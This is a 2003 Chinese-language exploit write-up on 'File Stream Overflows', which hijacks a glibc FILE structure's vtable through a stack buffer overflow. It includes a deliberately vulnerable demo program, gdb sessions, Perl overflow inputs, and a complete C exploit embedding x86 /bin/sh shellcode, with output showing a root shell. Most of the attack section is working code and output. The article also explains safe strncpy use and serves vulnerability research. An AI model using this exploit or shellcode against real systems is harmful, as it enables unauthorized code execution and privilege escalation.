一种新的File Stream Overflows(FSO) by alert7 < alert7@xfocus.org > 主页: http://www.xfocus.org/ http://www.whitecell.org/ 时间:2003年4月9日 ★★ 1:前言 跟以往的exploit方法不一样,算是一种新的溢出方法,有必要探讨下。 废话就不说了,直接切入正题吧 ★★ 2:什么是File Stream 写过c和c++的人都知道,有一种数据类型叫FILE,它是管理文件流的一种结构。 ★★ 3:什么是File Stream Overflows(FSO) 这里FSO是指当指向FILE的指针被非法覆盖,那么什么时候指向FILE的指针会被非法覆盖呢? 其实情况还是太多,就象下面例子中的程序一样,当发生BOF的时候指针fp才会被非法覆盖。但由于 strncpy的特殊性,我们构造的程序中的fp始终会被覆盖掉。 ★★ 4:当发生FSO的时候,我们如何来写exploit呢? ★ 4.1 一个小例子 /* *vul.c demo *write by alert7@xfocus.org */ #include int main(int argc, char *argv[]) { FILE * fp; char buf[1024]; int i; fp =stdout; i = (int)&fp-(int)&buf; printf(" fp addr %p point %p\nbuf addr %p\n len %d\n",&fp,fp,buf,i); strncpy(buf,argv[1],i +4 ); fprintf(fp,"%s\n",buf); exit(0); } [alert7@redhat73 FSO]# gcc -o vul vul.c -ggdb -g [alert7@redhat73 FSO]# gcc -v Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs gcc version 2.96 20000731 (Red Hat Linux 7.3 2.96-110) ★ 4.2 粗略分析 [alert7@redhat73 FSO]# gdb vul -q (gdb) b main Breakpoint 1 at 0x8048499: file vul.c, line 12. (gdb) r fff Starting program: /root/FSO/vul fff Breakpoint 1, main (argc=2, argv=0xbffffba4) at vul.c:12 12 fp =stdout; (gdb) b fprintf Breakpoint 2 at 0x4205a178 (gdb) c Continuing. fp addr 0xbffffb2c point 0x4212db00 buf addr 0xbffff720 len 1036 Breakpoint 2, 0x4205a178 in fprintf () from /lib/i686/libc.so.6 (gdb) x/20x 0xbffff720 0xbffff720: 0x00666666 0x00000000 0x00000000 0x00000000 0xbffff730: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff740: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff750: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff760: 0x00000000 0x00000000 0x00000000 0x00000000 char *strncpy(char *dest, const char *src, size_t n); 说明假如src长度只有m(n>m的情况)的话,dest后面的n-m的空间将被请0 假如m>=n的话,src前面m个字符被拷贝到dest中,并且dest后面的没有\0结束符 所以,上面这个例子中fp都会被覆盖掉。 strncpy也是程序员容易用错的一个函数,正确的用法是: char buf[SIZELEN] strncpy(buf,src,SIZELEN); buf[SIZELEN-1]=0;//这句一定要加,否则以后用strlen(buf)的时候就会出错拉 再来看看 [alert7@redhat73 FSO]# gdb vul -q (gdb) r `perl -e 'print "A"x2000'` Starting program: /root/FSO/vul `perl -e 'print "A"x2000'` fp addr 0xbffff35c point 0x4212db00 buf addr 0xbfffef50 len 1036 Program received signal SIGSEGV, Segmentation fault. 0x420502ea in vfprintf () from /lib/i686/libc.so.6 (gdb) x/i $eip 0x420502ea : cmpb $0x0,0x46(%eax) (gdb) i reg eax eax 0x41414141 1094795585 (gdb) x/x 0xbffff35c 0xbffff35c: 0x41414141 现在我们的fp已经被覆盖成了0x41414141,该地址是没有映射的,所以cmpb $0x0,0x46(%eax) 指令操作失败了。 想办法使这个指令成功。我们使用0xbffff404覆盖fp (gdb) r `perl -e 'print "A"x1036 ;print "\x04\xf4\xff\xbf"'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/FSO/vul `perl -e 'print "A"x1036 ;print "\x04\xf4\xff\xbf"'` fp addr 0xbffff71c point 0x4212db00 buf addr 0xbffff310 len 1036 Program received signal SIGSEGV, Segmentation fault. 0x4205046d in vfprintf () from /lib/i686/libc.so.6 (gdb) x/i $eip 0x4205046d : call *0x1c(%eax) (gdb) i reg eax eax 0x41414141 1094795585 0x42050451 : mov 0x8(%ebp),%edx 0x42050454 : sub $0x4,%esp 0x42050457 : mov 0xfffffa74(%ebp),%esi 0x4205045d : movsbl 0x46(%edx),%eax //this import 0x42050461 : sub %edi,%esi 0x42050463 : mov 0x94(%eax,%edx,1),%eax//得到跳转表地址_IO_file_jumps_internal 0x4205046a : push %esi 0x4205046b : push %edi 0x4205046c : push %edx 0x4205046d : call *0x1c(%eax) 0x42050470 : add $0x10,%esp 0x42050473 : cmp %esi,%eax 0x42050475 : je 0x420504f4 0x42050477 : mov %esi,%esi 0x42050479 : lea 0x0(%edi,1),%edi 0x42050480 : mov $0xffffffff,%edx (gdb) i reg eax edx eax 0x0 0 edx 0x4212db00 1108531968 (gdb) x/40a stdout 0x4212db00 <_IO_2_1_stdout_>: 0xfbad2084 0x0 0x0 0x0 0x4212db10 <_IO_2_1_stdout_+16>: 0x0 0x0 0x0 0x0 0x4212db20 <_IO_2_1_stdout_+32>: 0x0 0x0 0x0 0x0 0x4212db30 <_IO_2_1_stdout_+48>: 0x0 0x4212d980 <_IO_2_1_stdin_> 0x1 0x0 0x4212db40 <_IO_2_1_stdout_+64>: 0xffffffff 0x0 0x4212da18 <_IO_stdfile_1_lock> 0xffffffff 0x4212db50 <_IO_2_1_stdout_+80>: 0xffffffff 0x0 0x4212da40 <_IO_wide_data_1> 0xffffffff 0x4212db60 <_IO_2_1_stdout_+96>: 0x0 0x0 0x0 0x0 0x4212db70 <_IO_2_1_stdout_+112>: 0x0 0x0 0x0 0x0 0x4212db80 <_IO_2_1_stdout_+128>: 0x0 0x0 0x0 0x0 0x4212db90 <_IO_2_1_stdout_+144>: 0x0 0x4212d820 <_IO_file_jumps_internal> 0x0 0x0 (gdb) x/40a 0x4212d820 0x4212d820 <_IO_file_jumps_internal>: 0x0 0x0 0x420766b0 <_IO_new_file_finish> 0x420758e0 <_IO_new_file_overflow> 0x4212d830 <_IO_file_jumps_internal+16>: 0x420756a0 <_IO_new_file_underflow> 0x42077cf0 <_IO_default_uflow_internal> 0x420774c0 <_IO_default_pbackfail_internal> 0x42076050 <_IO_new_file_xsputn> 0x4212d840 <_IO_file_jumps_internal+32>: 0x420762a0 <_IO_file_xsgetn_internal> 0x42075b90 <_IO_new_file_seekoff> 0x42077f00 <_IO_default_seekpos>0x42076790 <_IO_new_file_setbuf> 0x4212d850 <_IO_file_jumps_internal+48>: 0x42075ab0 <_IO_new_file_sync> 0x4206b354 <_IO_file_doallocate_internal> 0x420765c0 <_IO_file_read_internal> 0x420767f0 <_IO_new_file_write> 0x4212d860 <_IO_file_jumps_internal+64>: 0x420765f0 <_IO_file_seek_internal> 0x420764d0 <_IO_file_close_internal> 0x420764a0 <_IO_file_stat_internal> 0x42077f80 <_IO_default_showmanyc> 0x4212d870 <_IO_file_jumps_internal+80>: 0x42077f90 <_IO_default_imbue> 0x0 0x0 0x0 0x4212d880 : 0x0 0x0 0x0 0x1 0x4212d890 : 0x0 0x0 0x0 0x0 0x4212d8a0 <_IO_stdfile_0_lock>: 0x0 0x0 0x0 0x1 0x4212d8b0 <_IO_stdfile_0_lock+16>: 0x0 0x0 0x0 0x0 看来有希望了。 我们还是来看看File Stream的结构FILE吧 由于glibc代码比较复杂,FILE的结构可能如下结构 struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable; }; _IO_FILE file为该结构的数据。 const struct _IO_jump_t *vtable跳转表为操作该结构数据的函数指针表 以非面向对象的C写出了有点象C++中的类东西,有了该vtable,实现了多态性。 vtable被初始化为类试下面的结构 struct _IO_jump_t _IO_file_jumps = { JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_new_file_finish), JUMP_INIT(overflow, _IO_new_file_overflow), JUMP_INIT(underflow, _IO_new_file_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_default_pbackfail), JUMP_INIT(xsputn, _IO_new_file_xsputn), JUMP_INIT(xsgetn, _IO_file_xsgetn), JUMP_INIT(seekoff, _IO_new_file_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_new_file_setbuf), JUMP_INIT(sync, _IO_new_file_sync), JUMP_INIT(doallocate, _IO_file_doallocate), JUMP_INIT(read, _IO_file_read), JUMP_INIT(write, _IO_new_file_write), JUMP_INIT(seek, _IO_file_seek), JUMP_INIT(close, _IO_file_close), JUMP_INIT(stat, _IO_file_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) }; ★ 4.3 如何写exploit 根据上面的分析我们不难看出,我们只需要伪造一个File Stream结构就可以了 struct fake_file_stream{ char date[sizeof(FILE)-4]; char * file_jmps; } 至于File Stream伪造的结构和跳转表以及跟SHELLCODE之间是如何分布构造的可以看下面的图表 我们构造如下BUFFER BUFFER +-------------------+-------------+---+----+---------------+---+---+---+--- (内存低址)| data[] |file_jmps(A) | A | A | shellcode ... | A | A | A | .. (内存高址) +-------------------+-------------+---+----+---------------+---+---+---+--- |--> fake_file_stream <-- | A为BUFFER的地址 file_jmps设置为A 在BUFFER开始,我们就构造了一个fake_file_stream,然后空了8个字节,后面才是shellcode 至于为什么要留这8个字节是由于程序结构是这样构造的,或许你另外的构造方法就会有所不同。 ★★ 5: EXPLOIT /********************************************/ /* *fso_exploit.c exploit for FSO vul demo *white by alert7@xfocus.org */ #include #include #include #define FUNCTIONOFFSET 0x1c //get from call *0x1c(%eax) #define OFFSET1 0x46 //get from movsbl 0x46(%edx),%eax //this import #define OFFSET2 8 //程序构造的原因,固定为8 char shellcode[]= /* linux x86 execve of "/bin//sh" */ "\x31\xd2\x52\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69\x89\xe3\x52" "\x53\x89\xe1\x8d\x42\x0b\xcd\x80"; struct fake_file_stream{ char data[sizeof(FILE)-4]; char * file_jmps; }; int main(int argc,char *argv[]) { char buffer[4000]; struct fake_file_stream * fakep; int i; long fakefs_addr; fakefs_addr = 0xbfffeb60;//atoll(argv[1]); //printf("fakefs_addr %u\n",fakefs_addr); for (i=0;i<3000;i+=4) *(long *)&buffer[i]=fakefs_addr; fakep= (struct fake_file_stream *)buffer; fakep->file_jmps =fakefs_addr; *(long *)&fakep->data[FUNCTIONOFFSET]=fakefs_addr+ sizeof(struct fake_file_stream)+OFFSET2; memcpy(buffer+sizeof(struct fake_file_stream)+OFFSET2,shellcode,strlen(shellcode)); *(long *) &buffer[OFFSET1]=0x04040404; //make eax =4; execl("./vul", "vul", buffer, NULL); exit(0); } [root@redhat73 FSO]# ./fso_exploit fp addr 0xbfffef6c point 0x4212db00 buf addr 0xbfffeb60 len 1036 sh-2.05a# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) sh-2.05a# cat readme 痛并快乐着 ★★ 6: 其他系统有这种漏洞吗 基于File Stream 的实现原理,FSO应该在其他系统上也存在,比如WINDOWS。 有兴趣的人也可以试一下。本篇抛砖引玉,到此为止吧。 参考资料: 《File Stream Overflows Paper》 write by < killah@hack.gr > 《glibc 2.2.2 src 》 -------the end--------